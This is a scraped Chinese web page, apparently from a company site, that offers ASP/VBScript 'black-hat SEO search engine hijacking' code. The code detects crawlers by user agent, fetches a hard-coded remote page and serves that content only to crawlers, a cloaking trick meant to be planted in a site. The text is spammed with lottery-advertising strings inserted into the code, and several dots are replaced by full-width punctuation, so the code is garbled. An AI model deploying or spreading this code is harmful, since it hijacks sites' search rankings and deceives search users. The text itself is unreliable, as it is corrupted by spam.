领先的互联网解决方案提供商,专业黑帽seo搜索引擎劫持代码 (有兴趣的可以研究下!)!
黑帽SEO搜索引擎劫持代码 (有兴趣的可以研究下!)
<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function
function gethttp(url)
dim http
set http=createobject("MSXML2。XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http。readystate<>4 then
exit function
end if
gethttp=bytes2BSTR(Http.responseBody)
set http=nothing
if err。number<>0 then err。Clear
end function
大象彩票计划function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
大象彩票计划 ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
大象彩票计划 strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
大象彩票计划End function
if(isspider()) then
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.agsec.org" //快照网址
response.clear
remotehtml=gethttp(bodyurl)
response。write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
response.end
end if
%>
扫码添加微信咨询
Copyright 2008-2018 黑帽seo搜索引擎劫持代码 (有兴趣的可以研究下!)深圳市信科网络科技大象彩票计划 Shenzhen Sinco Network Co., Ltd 严禁抄袭模仿本站 违者依法追究责任!